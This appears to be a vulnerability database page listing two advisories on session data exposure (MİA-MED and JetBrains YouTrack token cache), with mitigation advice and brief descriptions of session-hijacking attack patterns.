Vulnerability from github – Published: 2024-02-08 12:30 – Updated: 2026-05-20 12:30Exposure of Data Element to Wrong Session vulnerability in Mia Technology Inc. MİA-MED allows Read Sensitive Strings Within an Executable.This issue affects MİA-MED: before 1.0.7.
{
"affected": [],
"aliases": [
"CVE-2023-6519"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-08T12:15:55Z",
"severity": "HIGH"
},
"details": "Exposure of Data Element to Wrong Session vulnerability in Mia Technology Inc. M\u0130A-MED allows Read Sensitive Strings Within an Executable.This issue affects M\u0130A-MED: before 1.0.7.",
"id": "GHSA-p4rq-vwgg-386f",
"modified": "2026-05-20T12:30:35Z",
"published": "2024-02-08T12:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6519"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-0087"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-0087"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P8F6-44XP-3CP8
Vulnerability from github – Published: 2026-09-07 18:31 – Updated: 2026-09-07 18:31In JetBrains YouTrack before 2026.2.18634 a shared token cache allowed cross-tenant theft of GitHub App installation tokens
{
"affected": [],
"aliases": [
"CVE-2026-86492"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-07T17:17:27Z",
"severity": "HIGH"
},
"details": "In JetBrains YouTrack before 2026.2.18634 a shared token cache allowed cross-tenant theft of GitHub App installation tokens",
"id": "GHSA-p8f6-44xp-3cp8",
"modified": "2026-09-07T18:31:32Z",
"published": "2026-09-07T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86492"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.
Mitigation
Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).
Mitigation
In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.